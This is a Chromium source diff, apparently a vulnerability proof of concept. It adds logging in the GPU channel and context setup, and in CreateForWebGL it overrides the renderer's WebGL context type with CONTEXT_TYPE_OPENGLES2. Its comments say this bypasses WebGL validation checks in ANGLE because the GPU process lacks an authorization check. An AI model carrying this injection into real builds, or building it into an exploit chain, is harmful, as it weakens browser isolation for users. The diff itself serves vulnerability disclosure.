diff --git a/gpu/command_buffer/service/service_utils.cc b/gpu/command_buffer/service/service_utils.cc index f0975ff4b74c7..bedb1433b2cfb 100644 --- a/gpu/command_buffer/service/service_utils.cc +++ b/gpu/command_buffer/service/service_utils.cc @@ -139,6 +139,24 @@ gl::GLContextAttribs GenerateGLContextAttribsForDecoder( attribs.webgl_compatibility_context = IsWebGLContextType(context_type); attribs.hardened_context = !attribs.webgl_compatibility_context; + // ==== POC INSTRUMENTATION ==== + LOG(ERROR) << "[POC-GPU-ATTRIBS] GenerateGLContextAttribsForDecoder: " + "context_type=" + << ContextTypeToLabel(context_type) + << " -> webgl_compatibility_context=" + << (attribs.webgl_compatibility_context ? "true" : "false") + << " hardened_context=" + << (attribs.hardened_context ? "true" : "false"); + if (!attribs.webgl_compatibility_context) { + LOG(ERROR) << "[POC-GPU-ATTRIBS] *** webgl_compatibility_context=FALSE " + "*** This propagates to ANGLE as " + "EGL_CONTEXT_WEBGL_COMPATIBILITY_ANGLE=EGL_FALSE, making " + "isWebGL() return false and bypassing 79 validation " + "gates. hardened_context=true is shader-only " + "compensation (single use site: Shader.cpp:637)."; + } + // ==== END POC INSTRUMENTATION ==== + // Always use the global texture and semaphore share group for the // passthrough command decoder attribs.global_texture_share_group = true; diff --git a/gpu/ipc/service/gpu_channel.cc b/gpu/ipc/service/gpu_channel.cc index f311ad50a1608..19d9fde180df1 100644 --- a/gpu/ipc/service/gpu_channel.cc +++ b/gpu/ipc/service/gpu_channel.cc @@ -982,6 +982,28 @@ void GpuChannel::CreateCommandBuffer( stream_sequences_[stream_id] = sequence_id; } + // ==== POC INSTRUMENTATION ==== + // Log the incoming context_type and whether this channel belongs to a + // privileged client (is_gpu_host_). This is the exact point where a + // semantic check SHOULD reject CONTEXT_TYPE_OPENGLES2 from non-gpu-host + // (renderer) clients — but no such check exists. + if (init_params->attribs->is_gles()) { + const auto& gles = init_params->attribs->get_gles(); + LOG(ERROR) << "[POC-GPU-IPC] GpuChannel::CreateCommandBuffer received " + "GLES request: context_type=" + << ContextTypeToLabel(gles->context_type) << " (int=" + << static_cast(gles->context_type) + << ") is_gpu_host_=" << is_gpu_host_ + << " client_id_=" << client_id_; + if (gles->context_type == CONTEXT_TYPE_OPENGLES2 && !is_gpu_host_) { + LOG(ERROR) << "[POC-GPU-IPC] *** CWE-863 BYPASS CONFIRMED *** " + "Non-gpu-host client (compromised renderer) requested " + "CONTEXT_TYPE_OPENGLES2 and the GPU process is accepting " + "it. No is_gpu_host_ gate exists at this IPC boundary."; + } + } + // ==== END POC INSTRUMENTATION ==== + std::unique_ptr stub; switch (init_params->attribs->which()) { case mojom::ContextCreationAttribs::Tag::kGles: diff --git a/services/viz/public/cpp/gpu/context_provider_command_buffer.cc b/services/viz/public/cpp/gpu/context_provider_command_buffer.cc index ce86afe4f42a3..ed3d12b8a3158 100644 --- a/services/viz/public/cpp/gpu/context_provider_command_buffer.cc +++ b/services/viz/public/cpp/gpu/context_provider_command_buffer.cc @@ -15,6 +15,7 @@ #include "base/command_line.h" #include "base/functional/bind.h" +#include "base/logging.h" #include "base/functional/callback.h" #include "base/functional/callback_helpers.h" #include "base/no_destructor.h" @@ -139,6 +140,21 @@ ContextProviderCommandBuffer::CreateForWebGL( break; } + // ==== POC INJECTION: simulate compromised renderer ==== + // A compromised renderer with arbitrary code execution can craft any IPC + // message. Here we override the legitimate WEBGL1/WEBGL2 value with + // CONTEXT_TYPE_OPENGLES2, which legitimate renderer code never sends + // (verified: zero kOpenGLES2 references in content/renderer/). + // This value travels via mojom::CreateCommandBufferParams over the + // GpuChannel mojo interface to the GPU process. + attributes->context_type = gpu::CONTEXT_TYPE_OPENGLES2; + LOG(ERROR) << "[POC-RENDERER] Overriding context_type to " + "CONTEXT_TYPE_OPENGLES2 (value=" + << static_cast(gpu::CONTEXT_TYPE_OPENGLES2) + << ") in CreateCommandBuffer IPC. Legitimate renderers only " + "ever send WEBGL1/WEBGL2."; + // ==== END POC INJECTION ==== + return base::MakeRefCounted( base::PassKey(), std::move(channel), /*stream_id=*/0, gpu::SchedulingPriority::kNormal, active_url, diff --git a/ui/gl/gl_context_egl.cc b/ui/gl/gl_context_egl.cc index 6ec79c7a7bf6a..debd4de464093 100644 --- a/ui/gl/gl_context_egl.cc +++ b/ui/gl/gl_context_egl.cc @@ -207,6 +207,15 @@ bool GLContextEGL::InitializeImpl(GLSurface* compatible_surface, } if (gl_display_->ext->b_EGL_ANGLE_create_context_webgl_compatibility) { + // ==== POC INSTRUMENTATION ==== + LOG(ERROR) << "[POC-EGL] Passing EGL_CONTEXT_WEBGL_COMPATIBILITY_ANGLE=" + << (attribs.webgl_compatibility_context ? "EGL_TRUE" + : "EGL_FALSE") + << " to ANGLE eglCreateContext. ANGLE Context::isWebGL() " + "will return " + << (attribs.webgl_compatibility_context ? "true" : "false") + << "."; + // ==== END POC INSTRUMENTATION ==== context_attributes.push_back(EGL_CONTEXT_WEBGL_COMPATIBILITY_ANGLE); context_attributes.push_back( attribs.webgl_compatibility_context ? EGL_TRUE : EGL_FALSE);